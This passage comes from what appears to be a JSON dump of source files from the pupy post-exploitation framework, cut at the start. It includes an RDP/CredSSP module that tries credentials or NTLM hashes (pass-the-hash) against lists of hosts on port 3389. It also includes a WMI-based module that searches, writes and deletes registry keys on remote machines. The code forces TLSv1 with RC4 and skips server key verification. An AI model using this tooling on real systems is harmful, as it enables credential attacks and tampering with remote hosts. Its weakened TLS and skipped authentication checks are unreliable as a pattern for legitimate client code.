= asn1decode(next_bytes[1:])\n        self['Version'] = unpack('B',next_byte)[0]\n        decode_data = decode_data[total_bytes:]\n        next_byte = unpack('B',decode_data[:1])[0]\n        if next_byte == 0xa1:\n            # We found the negoData token\n            decode_data, total_bytes = asn1decode(decode_data[1:])\n\n            next_byte = unpack('B',decode_data[:1])[0]\n            if next_byte != ASN1_SEQUENCE:\n                raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)\n            decode_data, total_bytes = asn1decode(decode_data[1:])\n\n            next_byte = unpack('B',decode_data[:1])[0]\n            if next_byte != ASN1_SEQUENCE:\n                raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)\n            decode_data, total_bytes = asn1decode(decode_data[1:])\n\n            next_byte = unpack('B',decode_data[:1])[0]\n            if next_byte != 0xa0:\n                raise Exception('0xa0 tag not found %r' % next_byte)\n            decode_data, total_bytes = asn1decode(decode_data[1:])\n\n            next_byte = unpack('B',decode_data[:1])[0]\n            if next_byte != ASN1_OCTET_STRING:\n                raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)\n            decode_data2, total_bytes = asn1decode(decode_data[1:])\n            # the rest should be the data\n            self['NegoData'] = decode_data2\n            decode_data = decode_data[total_bytes+1:]\n\n        if next_byte == 0xa2:\n            # ToDo: Check all this\n            # We found the authInfo token\n            decode_data, total_bytes = asn1decode(decode_data[1:])\n            next_byte = unpack('B',decode_data[:1])[0]\n            if next_byte != ASN1_OCTET_STRING:\n                raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)\n            decode_data2, total_bytes = asn1decode(decode_data[1:])\n            self['authInfo'] = decode_data2\n            decode_data = decode_data[total_bytes+1:]\n\n        if next_byte == 0xa3:\n            # ToDo: Check all this\n            # We found the pubKeyAuth token\n            decode_data, total_bytes = asn1decode(decode_data[1:])\n            next_byte = unpack('B',decode_data[:1])[0]\n            if next_byte != ASN1_OCTET_STRING:\n                raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)\n            decode_data2, total_bytes = asn1decode(decode_data[1:])\n            self['pubKeyAuth'] = decode_data2\n\n    def getData(self):\n        # Do we have pubKeyAuth?\n        if 'pubKeyAuth' in self.fields:\n            pubKeyAuth = pack('B',0xa3)\n            pubKeyAuth += asn1encode(\n                pack('B', ASN1_OCTET_STRING) + \\\n                asn1encode(self['pubKeyAuth']))\n        else:\n            pubKeyAuth = ''\n\n        if 'authInfo' in self.fields:\n            authInfo = pack('B',0xa2)\n            authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) + \\\n                            asn1encode(self['authInfo']))\n        else:\n            authInfo = ''\n\n        if 'NegoData' in self.fields:\n            negoData = pack('B',0xa1)\n            negoData += asn1encode(\n                pack('B', ASN1_SEQUENCE) + \\\n                asn1encode(\n                    pack('B', ASN1_SEQUENCE) + \\\n                    asn1encode(\n                        pack('B', 0xa0) + \\\n                        asn1encode(\n                            pack('B', ASN1_OCTET_STRING) + \\\n                            asn1encode(self['NegoData'])))))\n        else:\n            negoData = ''\n        ans = pack('B', ASN1_SEQUENCE)\n        ans += asn1encode(pack('B',0xa0) + \\\n                    asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) + \\\n                    negoData + authInfo + pubKeyAuth)\n\n        return ans\n\n    # if __name__ == '__main__':\n\n    #       import socket\n    #       import argparse\n    #       import sys\n    #       import logging\n    #       from binascii import a2b_hex\n    #       from Crypto.Cipher import ARC4\n    #       from impacket import ntlm, version\n    #       try:\n    #               import OpenSSL\n    #               from OpenSSL import SSL, crypto\n    #       except:\n    #               logging.critical(\"pyOpenSSL is not installed, can't continue\")\n    #               sys.exit(1)\n\n\nclass SPNEGOCipher:\n    def __init__(self, flags, randomSessionKey):\n        self.__flags = flags\n        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n            self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)\n            self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,\"Server\")\n            self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)\n            self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,\"Server\")\n            # Preparing the keys handle states\n            cipher3 = ARC4.new(self.__clientSealingKey)\n            self.__clientSealingHandle = cipher3.encrypt\n            cipher4 = ARC4.new(self.__serverSealingKey)\n            self.__serverSealingHandle = cipher4.encrypt\n        else:\n            # Same key for everything\n            self.__clientSigningKey = randomSessionKey\n            self.__serverSigningKey = randomSessionKey\n            self.__clientSealingKey = randomSessionKey\n            self.__clientSealingKey = randomSessionKey\n            cipher = ARC4.new(self.__clientSigningKey)\n            self.__clientSealingHandle = cipher.encrypt\n            self.__serverSealingHandle = cipher.encrypt\n        self.__sequence = 0\n\n    def encrypt(self, plain_data):\n        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n            # When NTLM2 is on, we sign the whole pdu, but encrypt just\n            # the data, not the dcerpc header. Weird..\n            sealedMessage, signature = ntlm.SEAL(\n                self.__flags,\n                self.__clientSigningKey,\n                self.__clientSealingKey,\n                plain_data,\n                plain_data,\n                self.__sequence,\n                self.__clientSealingHandle)\n        else:\n            sealedMessage, signature = ntlm.SEAL(\n                self.__flags,\n                self.__clientSigningKey,\n                self.__clientSealingKey,\n                plain_data,\n                plain_data,\n                self.__sequence,\n                self.__clientSealingHandle)\n\n        self.__sequence += 1\n\n        return signature, sealedMessage\n\n    def decrypt(self, answer):\n        if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n            # TODO: FIX THIS, it's not calculating the signature well\n            # Since I'm not testing it we don't care... yet\n            answer, signature = ntlm.SEAL(\n                self.__flags,\n                self.__serverSigningKey,\n                self.__serverSealingKey,\n                answer,\n                answer,\n                self.__sequence,\n                self.__serverSealingHandle)\n        else:\n            answer, signature = ntlm.SEAL(\n                self.__flags,\n                self.__serverSigningKey,\n                self.__serverSealingKey,\n                answer,\n                answer,\n                self.__sequence,\n                self.__serverSealingHandle)\n\n        self.__sequence += 1\n\n        return signature, answer\n\ndef check_rdp_socket(s, username, password, domain, hashes=None):\n    try:\n        from OpenSSL import SSL, crypto\n    except:\n        return \"pyOpenSSL is not installed, can't continue\"\n\n    if hashes is not None:\n        lmhash, nthash = hashes.split(':')\n        lmhash = a2b_hex(lmhash)\n        nthash = a2b_hex(nthash)\n\n    else:\n        lmhash = ''\n        nthash = ''\n\n    tpkt = TPKT()\n    tpdu = TPDU()\n    rdp_neg = RDP_NEG_REQ()\n    rdp_neg['Type'] = TYPE_RDP_NEG_REQ\n    rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL\n    tpdu['VariablePart'] = str(rdp_neg)\n    tpdu['Code'] = TDPU_CONNECTION_REQUEST\n    tpkt['TPDU'] = str(tpdu)\n\n    s.setblocking(1)\n    s.sendall(str(tpkt))\n    pkt = s.recv(8192)\n\n    try:\n        tpkt.fromString(pkt)\n        tpdu.fromString(tpkt['TPDU'])\n\n        cr_tpdu = CR_TPDU(tpdu['VariablePart'])\n        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:\n            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])\n            rdp_failure.dump()\n            return \"Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials\"\n        else:\n            rdp_neg.fromString(tpdu['VariablePart'])\n\n    except struct_error:\n        return False\n\n\n    # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation\n\n    # 1. The CredSSP client and CredSSP server first complete the TLS handshake,\n    # as specified in [RFC2246]. After the handshake is complete, all subsequent\n    # CredSSP Protocol messages are encrypted by the TLS channel.\n    # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS\n    # handshake, the CredSSP server does not request the client's X.509 certificate\n    # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require\n    # the client to have a commonly trusted certification authority root with the\n    # CredSSP server. Thus, the CredSSP server MAY use, for example,\n    # a self-signed X.509 certificate.\n\n    # Switching to TLS now\n    ctx = SSL.Context(SSL.TLSv1_METHOD)\n    ctx.set_cipher_list('RC4')\n    tls = SSL.Connection(ctx, s)\n    tls.set_connect_state()\n    tls.setblocking(1)\n    tls.do_handshake()\n\n    # If you want to use Python internal ssl, uncomment this and comment\n    # the previous lines\n    #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')\n\n    # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client\n    # and server completes mutual authentication and establishes an encryption key\n    # that is used by the SPNEGO confidentiality services, as specified in [RFC4178].\n    # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to\n    # the calling application (the CredSSP client and CredSSP server).\n    # The wire protocol for SPNEGO is specified in [MS-SPNG].\n    # The SPNEGO tokens exchanged between the client and the server are encapsulated\n    # in the negoTokens field of the TSRequest structure. Both the client and the\n    # server use this structure as many times as necessary to complete the SPNEGO\n    # exchange.<9>\n    #\n    # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted\n    # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth\n    # field is omitted by the client unless the client is sending the last SPNEGO token.\n    # If the client is sending the last SPNEGO token, the TSRequest structure MUST have\n    # both the negoToken and the pubKeyAuth fields filled in.\n\n    # NTLMSSP stuff\n    auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)\n\n    ts_request = TSRequest()\n    ts_request['NegoData'] = str(auth)\n\n    tls.send(ts_request.getData())\n\n    buff = tls.recv(4096)\n\n    try:\n        ts_request.fromString(buff)\n    except struct_error:\n        return False\n\n    # 3. The client encrypts the public key it received from the server (contained\n    # in the X.509 certificate) in the TLS handshake from step 1, by using the\n    # confidentiality support of SPNEGO. The public key that is encrypted is the\n    # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509\n    # certificate, as specified in [RFC3280] section 4.1. The encrypted key is\n    # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over\n    # the TLS channel to the server.\n    #\n    # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted\n    # from the TSRequest structure; the client MUST send its last SPNEGO token to the\n    # server in the negoTokens field (see step 2) along with the encrypted public key\n    # in the pubKeyAuth field.\n\n    # Last SPNEGO token calculation\n    #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])\n    type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)\n\n    # Get server public key\n    server_cert = tls.get_peer_certificate()\n    pkey = server_cert.get_pubkey()\n    dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)\n\n    # Fix up due to PyOpenSSL lack for exporting public keys\n    dump = dump[7:]\n    dump = b'\\x30'+ asn1encode(dump)\n\n    cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)\n    signature, cripted_key = cipher.encrypt(dump)\n    ts_request['NegoData'] = str(type3)\n    ts_request['pubKeyAuth'] = str(signature) + cripted_key\n\n    try:\n        # Sending the Type 3 NTLM blob\n        tls.send(ts_request.getData())\n        # The other end is waiting for the pubKeyAuth field, but looks like it's\n        # not needed to check whether authentication worked.\n        # If auth is unsuccessful, it throws an exception with the previous send().\n        # If auth is successful, the server waits for the pubKeyAuth and doesn't answer\n        # anything. So, I'm sending garbage so the server returns an error.\n        # Luckily, it's a different error so we can determine whether or not auth worked ;)\n        buff = tls.recv(1024)\n\n    except SSL.Error:\n        # Likely communication error\n        return False\n\n    except Exception as e:\n        return str(type(e)) + ': ' + str(e)\n\n    # 4. After the server receives the public key in step 3, it first verifies that\n    # it has the same public key that it used as part of the TLS handshake in step 1.\n    # The server then adds 1 to the first byte representing the public key (the ASN.1\n    # structure corresponding to the SubjectPublicKey field, as described in step 3)\n    # and encrypts the binary result by using the SPNEGO encryption services.\n    # Due to the addition of 1 to the binary data, and encryption of the data as a binary\n    # structure, the resulting value may not be valid ASN.1-encoded values.\n    # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest\n    # structure and is sent over the encrypted TLS channel to the client.\n    # The addition of 1 to the first byte of the public key is performed so that the\n    # client-generated pubKeyAuth message cannot be replayed back to the client by an\n    # attacker.\n    #\n    # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens\n    # fields are omitted from the TSRequest structure.\n\n    try:\n        ts_request = TSRequest(buff)\n    except struct_error:\n        return False\n\n    # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)\n    signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])\n\n    # 5. After the client successfully verifies server authenticity by performing a\n    # binary comparison of the data from step 4 to that of the data representing\n    # the public key from the server's X.509 certificate (as specified in [RFC3280],\n    # section 4.1), it encrypts the user's credentials (either password or smart card\n    # PIN) by using the SPNEGO encryption services. The resulting value is\n    # encapsulated in the authInfo field of the TSRequest structure and sent over\n    # the encrypted TLS channel to the server.\n    # The TSCredentials structure within the authInfo field of the TSRequest\n    # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,\n    # but MUST NOT contain both.\n    #\n    # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens\n    # fields are omitted from the TSRequest structure.\n    tsp = TSPasswordCreds()\n\n    tsp['domainName'] = domain\n    tsp['userName']   = username\n    tsp['password']   = password\n\n    tsc = TSCredentials()\n    tsc['credType'] = 1 # TSPasswordCreds\n    tsc['credentials'] = tsp.getData()\n\n    signature, cripted_creds = cipher.encrypt(tsc.getData())\n    ts_request = TSRequest()\n    ts_request['authInfo'] = str(signature) + cripted_creds\n    tls.send(ts_request.getData())\n    tls.close()\n\n    return True\n\ndef check_rdp(targets, username, password, domain, hashes, on_complete=None, on_result=None):\n    def check_rdp_port(info):\n        host, port, socket = info\n        try:\n            result = check_rdp_socket(socket, username, password, domain, hashes)\n            if on_result:\n                on_result(host, result)\n        except Exception as e:\n            on_result(host, str(type(e)) + ': ' + str(e))\n\n    def on_exception(e):\n        on_result('Exception', '{}: {}'.format(type(e), e))\n\n    return scanthread_parse(\n        targets, '3389', on_complete, timeout=5,\n        pass_socket=True, on_open_port=check_rdp_port,\n        on_exception=on_exception).set\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/rreg.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n  'Key', 'search', 'enum',\n  'set', 'get', 'rm'\n]\n\nimport re\nimport sys\nimport struct\nimport threading\nimport traceback\n\nfrom pupyutils.psexec import ConnectionInfo\n\nfrom impacket.dcerpc.v5.dcom.wmi import ENCODED_STRING\nfrom impacket.structure import Structure\n\nfrom pupy.network.lib.pupyrpc import nowait\nfrom pupy.network.lib.convcompat import as_unicode_string\n\nif sys.version_info.major > 2:\n    unicode = str\n    basestring = str\n    long = int\n\n\nERROR_SUCCESS = 0\nERROR_MORE_DATA = 234\n\nREG_NONE = 0\nREG_SZ = 1\nREG_EXPAND_SZ = 2\nREG_BINARY = 3\nREG_DWORD = 4\nREG_DWORD_BIG_ENDIAN = 5\nREG_DWORD_LITTLE_ENDIAN = 4\nREG_QWORD = 11\nREG_LINK = 6\nREG_MULTI_SZ = 7\nREG_RESOURCE_LIST = 8\nREG_FULL_RESOURCE_DESCRIPTOR = 9\nREG_RESOURCE_REQUIREMENTS_LIST = 10\n\nREG_OPTION_RESERVED = 0x0000\nREG_OPTION_NON_VOLATILE = 0x0000\nREG_OPTION_VOLATILE = 0x0001\nREG_OPTION_CREATE_LINK = 0x0002\nREG_OPTION_BACKUP_RESTORE = 0x0004\nREG_OPTION_OPEN_LINK = 0x0008\n\nKEY_QUERY_VALUE = 0x0001\nKEY_SET_VALUE = 0x0002\nKEY_CREATE_SUB_KEY = 0x0004\nKEY_ENUMERATE_SUB_KEYS = 0x0008\nKEY_NOTIFY = 0x0010\nKEY_CREATE_LINK = 0x0020\nKEY_WOW64_32KEY = 0x0200\nKEY_WOW64_64KEY = 0x0100\nKEY_WOW64_RES = 0x0300\nREAD_CONTROL = 0x00020000\nSYNCHRONIZE = 0x00100000\nSTANDARD_RIGHTS_READ = READ_CONTROL\nSTANDARD_RIGHTS_WRITE = READ_CONTROL\nSTANDARD_RIGHTS_ALL = 0x001F0000\n\nKEY_READ = (\n    (\n        STANDARD_RIGHTS_READ | \\\n        KEY_QUERY_VALUE | \\\n        KEY_ENUMERATE_SUB_KEYS | \\\n        KEY_NOTIFY\n    ) & (~SYNCHRONIZE)\n)\nKEY_WRITE = (\n    (\n        STANDARD_RIGHTS_WRITE | \\\n        KEY_SET_VALUE | \\\n        KEY_CREATE_SUB_KEY\n    ) & (~SYNCHRONIZE)\n)\nKEY_ALL_ACCESS = (\n    (\n        STANDARD_RIGHTS_ALL | \\\n        KEY_QUERY_VALUE | \\\n        KEY_SET_VALUE | \\\n        KEY_CREATE_SUB_KEY | \\\n        KEY_ENUMERATE_SUB_KEYS | \\\n        KEY_NOTIFY | \\\n        KEY_CREATE_LINK\n    ) & (~SYNCHRONIZE)\n)\n\n\nHKEY_CLASSES_ROOT = 0x80000000\nHKEY_CURRENT_USER = 0x80000001\nHKEY_LOCAL_MACHINE = 0x80000002\nHKEY_USERS = 0x80000003\nHKEY_PERFORMANCE_DATA = 0x80000004\nHKEY_CURRENT_CONFIG = 0x80000005\nHKEY_DYN_DATA = 0x80000006\n\nWELL_KNOWN_KEYS = {\n    'HKEY_LOCAL_MACHINE': HKEY_LOCAL_MACHINE,\n    'HKLM': HKEY_LOCAL_MACHINE,\n    'HKEY_CURRENT_USER': HKEY_CURRENT_USER,\n    'HKCU': HKEY_CURRENT_USER,\n    'HKEY_CURRENT_CONFIG': HKEY_CURRENT_CONFIG,\n    'HKCC': HKEY_CURRENT_CONFIG,\n    'HKEY_CLASSES_ROOT': HKEY_CLASSES_ROOT,\n    'HKCR': HKEY_CLASSES_ROOT,\n    'HKEY_USERS': HKEY_USERS,\n    'HKU': HKEY_USERS,\n    'HKEY_PERFORMANCE_DATA': HKEY_PERFORMANCE_DATA,\n    'HKPD': HKEY_PERFORMANCE_DATA,\n}\n\nWELL_KNOWN_TYPES = {\n    int: REG_DWORD,\n    str: REG_SZ\n}\n\nif sys.version_info.major < 3:\n    WELL_KNOWN_TYPES[unicode] = REG_SZ\n\nWELL_KNOWN_TYPES_NAMES = {\n    REG_DWORD: 'DWORD',\n    REG_QWORD: 'LE64',\n    REG_BINARY: 'BINARY',\n    REG_DWORD_LITTLE_ENDIAN: 'LE32',\n    REG_DWORD_BIG_ENDIAN: 'BE32',\n    REG_EXPAND_SZ: 'EXPAND_SZ',\n    REG_LINK: 'LINK',\n    REG_MULTI_SZ: 'MULTI_SZ',\n    REG_NONE: 'NONE',\n    REG_RESOURCE_LIST: 'RESOURCE',\n    REG_FULL_RESOURCE_DESCRIPTOR: 'RESOURCE_DESCRIPTOR',\n    REG_RESOURCE_REQUIREMENTS_LIST: 'RESOURCE_REQUIREMENTS_LIST',\n    REG_SZ: 'SZ'\n}\n\nWELL_KNOWN_TYPES_GETTERS = {\n    REG_DWORD: ('GetDWORDValue', 'uValue'),\n    REG_QWORD: ('GetQWORDValue', 'uValue'),\n    REG_BINARY: ('GetBinaryValue', 'uValue'),\n    REG_DWORD_LITTLE_ENDIAN: ('GetDWORDValue', 'uValue'),\n    REG_DWORD_BIG_ENDIAN: ('GetDWORDValue', 'uValue'),\n    REG_EXPAND_SZ: ('GetExpandedStringValue', 'sValue'),\n    REG_MULTI_SZ: ('GetMultiStringValue', 'sValue'),\n    REG_SZ: ('GetStringValue', 'sValue'),\n}\n\nWELL_KNOWN_TYPES_SETTERS = {\n    REG_DWORD: 'SetDWORDValue',\n    REG_QWORD: 'SetQWORDValue',\n    REG_BINARY: 'SetBinaryValue',\n    REG_DWORD_LITTLE_ENDIAN: 'SetDWORDValue',\n    REG_DWORD_BIG_ENDIAN: 'SetDWORDValue',\n    REG_EXPAND_SZ: 'SetExpandedStringValue',\n    REG_MULTI_SZ: 'SetMultiStringValue',\n    REG_SZ: 'SetStringValue',\n}\n\n\n# Workaround for impacket\n\nif sys.version_info.major < 3:\n    def ENCODED_STRING__setitem__(self, key, value):\n        if key == 'Character' and isinstance(value, unicode):\n            value = value.encode('utf-16le')\n            Structure.__setitem__(self, 'Encoded_String_Flag', 0x1)\n            self.structure = self.tunicode\n            self.isUnicode = True\n\n        Structure.__setitem__(self, key, value)\n\n\n    setattr(ENCODED_STRING, '__setitem__', ENCODED_STRING__setitem__)\n\n\ndef value_to_bytes(value, ktype):\n    if isinstance(value, str):\n        return value\n\n    if ktype in (REG_SZ, REG_EXPAND_SZ):\n        if not isinstance(value, bytes):\n            value = value.encode('utf-16le')\n        if not isinstance(value, str):\n            value = str(value).encode('utf-16le')\n\n    elif ktype == REG_MULTI_SZ:\n        value = u'\\0'.join(value) + u'\\0\\0'\n\n    elif ktype == REG_DWORD:\n        value = struct.pack('<i', value)\n\n    elif ktype == REG_DWORD_LITTLE_ENDIAN:\n        value = struct.pack('<i', value)\n\n    elif ktype == REG_DWORD_BIG_ENDIAN:\n        value = struct.pack('>i', value)\n\n    elif ktype == REG_QWORD:\n        value = struct.pack('<q', value)\n\n    return value\n\n\nif sys.version_info.major > 2:\n    def as_str(value):\n        if isinstance(value, str):\n            return value\n\n        return str(value)\nelse:\n    def as_str(value):\n        if isinstance(value, str):\n            return value\n        elif isinstance(value, unicode):\n            return value.encode('utf-8')\n\n        return str(value)\n\n\nclass RRegError(ValueError):\n    pass\n\n\ndef raise_on_error(result):\n    if result.ReturnValue:\n        raise RRegError(result.ReturnValue)\n\n\nclass KeyIter(object):\n    __slots__ = (\n        'handle', 'orig_name', 'key',\n        'sub', 'idx',\n        'max_value_size', 'max_data_size'\n    )\n\n    def __init__(self, orig_name, key, sub, handle):\n        self.orig_name = orig_name\n        self.key = key\n        self.sub = sub\n        self.handle = handle\n        self.idx = 0\n        self.max_value_size = None\n        self.max_data_size = None\n\n    def __iter__(self):\n        result = self.handle.EnumKey(self.key, self.sub)\n        raise_on_error(result)\n\n        if result.sNames:\n            for name in result.sNames:\n                yield Key(self.handle, u'\\\\'.join([self.orig_name, name]))\n\n        result = self.handle.EnumValues(self.key, self.sub)\n        raise_on_error(result)\n\n        if not result.sNames:\n            return\n\n        for name, ktype in zip(result.sNames, result.Types):\n            supported_getter = WELL_KNOWN_TYPES_GETTERS.get(ktype)\n            if supported_getter is None:\n                # Unsupported type, omit\n                continue\n\n            getter, field = supported_getter\n            method = getattr(self.handle, getter)\n            wmivalue = method(self.key, self.sub, name)\n            raise_on_error(wmivalue)\n\n            value = getattr(wmivalue, field)\n\n            yield Value(self.orig_name, name, value, ktype)\n\n\n\nclass Value(object):\n    __slots__ = ('parent', 'name', 'value', 'type')\n\n    def __init__(self, parent, name, value, ktype):\n        self.parent = parent\n        self.name = name\n        self.value = value\n        self.type = ktype\n\n    def __repr__(self):\n        return 'Value({}, {}, {}, {})'.format(\n            repr(self.parent),\n            repr(self.name),\n            repr(self.value),\n            repr(self.type)\n        )\n\n\nclass Key(object):\n    __slots__ = (\n        'arg', 'key', 'sub', 'handle', '_values'\n    )\n\n    def __init__(self, handle, key):\n        sub_key = None\n        top_key = None\n\n        key = as_unicode_string(key)\n        for wkk, wrk in WELL_KNOWN_KEYS.items():\n            if key == wkk:\n                top_key = wrk\n                sub_key = ''\n            elif key.startswith((wkk+'\\\\', wkk+'/')):\n                top_key = wrk\n                sub_key = key[len(wkk)+1:]\n                break\n\n        if not top_key:\n            raise KeyError(key)\n\n        sub_key = sub_key.strip('\\\\')\n\n        self.key = top_key\n        self.sub = sub_key\n        self.arg = key\n        self.handle = handle\n\n        self._values = {}\n\n    @property\n    def name(self):\n        return self.arg.split('\\\\')[-1]\n\n    @property\n    def parent(self):\n        return u'\\\\'.join(self.arg.split('\\\\')[:-1])\n\n    def _query_value(self, attr):\n        if not self._values:\n            result = self.handle.EnumValues(self.key, self.sub)\n            raise_on_error(result)\n\n            if result.sNames:\n                self._values = dict(zip(result.sNames, result.Types))\n            else:\n                self._values = {}\n\n        if attr not in self._values:\n            raise KeyError(attr)\n\n        ktype = self._values[attr]\n\n        getter = WELL_KNOWN_TYPES_GETTERS.get(ktype)\n        method = getattr(self.handle, getter)\n        wmivalue = method(self.key, self.sub, attr)\n        raise_on_error(wmivalue)\n\n        value = getattr(wmivalue, attr)\n        return Value(self.arg, attr, value, ktype)\n\n    def __iter__(self):\n        for value in KeyIter(self.arg, self.key, self.sub, self.handle):\n            yield value\n\n    def __str__(self):\n        return as_str(self.arg)\n\n    def __unicode__(self):\n        return as_unicode_string(self.arg)\n\n    def __repr__(self):\n        return repr(self.arg)\n\n    def __int__(self):\n        return repr(self.arg)\n\n    def __delitem__(self, attr):\n        result = self.handle.DeleteValue(self.key, self.sub, attr)\n        if result.ReturnValue == 2:\n            result = self.handle.DeleteKey(self.key, self.sub + '\\\\' + attr)\n\n        if result.ReturnValue:\n            raise ValueError(result.ReturnValue)\n\n    def __getitem__(self, attr):\n        return self._query_value(attr)\n\n    def __setitem__(self, attr, value):\n        vtype = type(value)\n\n        if vtype not in WELL_KNOWN_TYPES and vtype is not Value:\n            raise TypeError('setattr only supported for str/int')\n\n        ktype = value.type if vtype is Value else WELL_KNOWN_TYPES[vtype]\n        if vtype is Value:\n            value = value.value\n        elif ktype == REG_SZ and '%' in value:\n            ktype = REG_EXPAND_SZ\n\n        method = WELL_KNOWN_TYPES_SETTERS.get(ktype)\n\n        setter = getattr(self.handle, method)\n        result = setter(self.key, self.sub, attr, value)\n\n        raise_on_error(result)\n\n\ndef __search(\n    regprov, completed, data_cb, close_cb,\n    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,\n        name=True, value=True, regex=False,\n        ignorecase=False, first=False, equals=False):\n\n    compare = None\n\n    def contains(u_term, b_term, i_term, value, ignorecase=False):\n        if isinstance(value, unicode):\n            if ignorecase:\n                value = value.lower()\n            return u_term in value\n        elif isinstance(value, (int, long)):\n            if i_term is None:\n                return False\n            return i_term == value\n        elif isinstance(value, str):\n            if ignorecase:\n                value = value.lower()\n            return b_term in value\n        elif isinstance(value, list):\n            return any(\n                contains(\n                    u_term, b_term, i_term, x, ignorecase\n                ) for x in value\n            )\n        else:\n            return False\n\n    def issame(u_term, b_term, i_term, value, ignorecase=False):\n        if isinstance(value, unicode):\n            if ignorecase:\n                value = value.lower()\n            return u_term == value\n        elif isinstance(value, (int, long)):\n            if i_term is None:\n                return False\n            return i_term == value\n        elif isinstance(value, bytes):\n            if ignorecase:\n                value = value.lower()\n            return b_term == value\n        elif isinstance(value, list):\n            return any(\n                issame(\n                    u_term, b_term, i_term, x, ignorecase\n                ) for x in value\n            )\n        else:\n            return False\n\n    if ignorecase:\n        term = term.lower()\n\n    u_term = as_unicode_string(term)\n    b_term = as_str(term)\n\n    try:\n        i_term = int(term)\n    except ValueError:\n        i_term = None\n\n    if regex:\n        term_re = re.compile(\n            u_term,\n            re.UNICODE | \\\n                re.MULTILINE | \\\n                    (re.IGNORECASE if ignorecase else 0))\n\n        if equals:\n            compare = lambda x: \\\n                term_re.match(x) if isinstance(x, unicode) else False\n        else:\n            compare = lambda x: \\\n                term_re.search(x) if isinstance(x, unicode) else False\n\n    else:\n        if equals:\n            compare = lambda x: issame(u_term, b_term, i_term, x, ignorecase)\n        else:\n            compare = lambda x: contains(u_term, b_term, i_term, x, ignorecase)\n\n    if isinstance(roots, basestring):\n        roots = [roots]\n\n    def _walk(root, data_cb):\n        if completed.is_set():\n            return\n\n        for kv in root:\n            if completed.is_set():\n                return\n\n            if isinstance(kv, Key):\n                if key and compare(kv.name):\n                    data_cb((True, kv.name))\n                    if first:\n                        completed.set()\n                        return\n\n                try:\n                    _walk(kv, data_cb)\n                except RRegError:\n                    pass\n\n            elif isinstance(kv, Value):\n                if (\n                    name and compare(kv.name)\n                ) or (\n                    value and compare(kv.value)\n                ):\n                    data_cb((\n                        False, kv.parent, kv.name,\n                        kv.value, kv.type))\n                    if first:\n                        completed.set()\n                        return\n            else:\n                raise TypeError(\n                    'Unknown type {} in search'.format(\n                        type(kv)))\n\n    try:\n        for root in roots:\n            try:\n                _walk(Key(regprov, root), data_cb)\n            except RRegError:\n                continue\n\n    except Exception as e:\n        data_cb((None, '{}\\n{}'.format(e, traceback.format_exc())))\n\n    finally:\n        if completed.is_set():\n            data_cb((None, 'Interrupted'))\n\n        completed.set()\n        close_cb()\n\n\ndef _search(\n    conninfo, completed, data_cb, close_cb,\n    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,\n        name=True, value=True, regex=False,\n        ignorecase=False, first=False, equals=False):\n\n    with conninfo:\n        iWbemServices = conninfo.create_wbem('//./root/cimv2')\n        regprov, _ = iWbemServices.GetObject('StdRegprov')\n\n        __search(\n            regprov, completed, data_cb, close_cb,\n            term, roots, key, name, value, regex,\n            ignorecase, first, equals\n        )\n\n\ndef search(\n    host, port,\n    user, domain,\n    password, ntlm,\n    data_cb, close_cb,\n    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,\n        name=True, value=True, regex=False,\n        ignorecase=False, first=False, equals=False, timeout=30):\n\n    conninfo = ConnectionInfo(\n        host, port, user, domain, password, ntlm, timeout=timeout\n    )\n\n    data_cb = nowait(data_cb)\n    close_cb = nowait(close_cb)\n\n    completed = threading.Event()\n    worker = threading.Thread(\n        name='Reg:Search',\n        target=_search,\n        args=(\n            conninfo,\n            completed,\n            data_cb, close_cb,\n            term, roots, key,\n            name, value, regex,\n            ignorecase, first, equals\n        )\n    )\n\n    worker.start()\n\n    def interrupt():\n        completed.set()\n        worker.join()\n\n    return 